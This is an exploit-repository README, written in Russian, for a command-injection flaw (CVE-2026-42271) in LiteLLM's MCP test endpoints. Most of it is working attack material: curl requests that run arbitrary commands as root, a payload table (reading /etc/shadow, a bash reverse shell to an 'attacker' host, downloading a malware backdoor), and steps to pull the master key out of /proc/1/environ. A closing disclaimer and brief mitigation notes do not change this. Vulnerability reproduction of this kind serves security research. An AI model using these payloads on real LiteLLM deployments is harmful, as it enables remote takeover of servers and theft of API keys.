
Код для самостоятельного воспроизведения соответствующей уязвимости
LiteLLM
POST /mcp-rest/test/connectionиPOST /mcp-rest/test/tools/list— аутентифицированная инъекция команд через stdio-транспорт MCP. Любой действительный API-ключ может выполнять произвольные команды ОС с правами root (в стандартном Docker-развертывании).Образ зафиксирован по digest: уязвимый контейнер закреплён на LiteLLM v1.82.6, что гарантирует долгосрочную воспроизводимость.
| Поле | Значение |
|---|
| CVE | CVE-2026-42271 |
| CVSS v4.0 | 8.7 (ВЫСОКИЙ) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N |
| CVSS v3.1 | 8.8 (ВЫСОКИЙ) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-77 / CWE-78 (инъекция OS-команд) |
| Затронуто | LiteLLM >= 1.74.2, < 1.83.7 |
| Исправлено | v1.83.7+ (добавлены белый список команд и проверка роли PROXY_ADMIN) |
| Опубликовано | 2026-05-08 |
| Зафиксированная версия | v1.82.6 — образ зафиксирован по digest, что гарантирует долгосрочную воспроизводимость |
| Ссылки | GHSA-v4p8-mg3p-g94g • NVD • Консультация GitLab |
Две конечные точки, используемые для предварительного просмотра MCP-сервера перед сохранением — POST /mcp-rest/test/connection и POST /mcp-rest/test/tools/list — принимают полную конфигурацию MCP-сервера в теле запроса, включая поля command, args и env, используемые stdio-транспортом.
При вызове с stdio-конфигурацией конечные точки запускают указанную команду как подпроцесс на хосте прокси с привилегиями процесса прокси (root в стандартном Docker).
Ключевая проблема: конечные точки проверяют только наличие действительного API-ключа прокси без проверки роли — даже ключи internal_user с низкими привилегиями могут использовать эту уязвимость.
# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d
# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"
# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "id > /tmp/pwned"]
}'
# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...
API возвращает "Failed to connect to MCP server", потому что запущенный процесс не говорит по протоколу MCP — но команда уже выполнена с правами root.
| Сценарий | Полезная нагрузка |
|---|---|
| Базовая RCE | "args": ["-c", "id > /tmp/pwned"] |
| Чтение файлов | "args": ["-c", "cat /etc/shadow > /tmp/out"] |
| Эксфильтрация env | `"args": ["-c", "cat /proc/1/environ |
| Обратная оболочка | "args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"] |
| Закрепление | "args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"] |
POST /mcp-rest/test/connectionПроверяет подключение к MCP-серверу. При stdio-транспорте запускает указанную команду.
POST /mcp-rest/test/tools/listВыводит список инструментов тестового MCP-сервера. Поведение аналогичное — запускает указанную команду при использовании stdio-транспорта.
{
"transport": "stdio",
"command": "bash",
"args": ["-c", "<malicious command>"],
"env": {
"PATH": "/usr/bin:/bin"
}
}
| Поле | Тип | Обязательность | Описание |
|---|---|---|---|
transport | string | Да | Должно быть "stdio" для инъекции команд |
command | string | Да | Исполняемый файл для запуска (например, bash, python, curl) |
args | array | Да | Аргументы, передаваемые команде |
env | object | Нет | Переменные окружения для подпроцесса |
Исправление добавило два уровня защиты:
validate_transport_fields() — разрешены только: npx, uvx, python, python3, node, docker, denoPROXY_ADMINCVE-2026-42271/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Payload generation module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/ # Proof screenshots
PROXY_ADMIN)/mcp-rest/test/connection и /mcp-rest/test/tools/list на обратном проксиdocker run --user 1000:1000 ...При воспроизведении раздела 5.7 (извлечение переменных окружения процесса) обратите внимание: MCP Python SDK v1.25.0+ при создании stdio-подпроцесса не наследует переменные окружения родительского процесса LiteLLM. SDK через get_default_environment() передаёт только HOME и PATH, затем объединяет с явно указанными пользователем полями env. Поэтому env > /tmp/env_dump не сможет захватить LITELLM_MASTER_KEY.
Правильный способ: извлечь переменные окружения, прочитав /proc/1/environ основного процесса LiteLLM:
# 提取环境变量(通过 /proc/1/environ)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
}'
# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key
Подробности см. в разделе 5.7 отчёта о воспроизведении.
Отказ от ответственности: Этот материал предоставлен только для образовательных целей и авторизованного тестирования безопасности.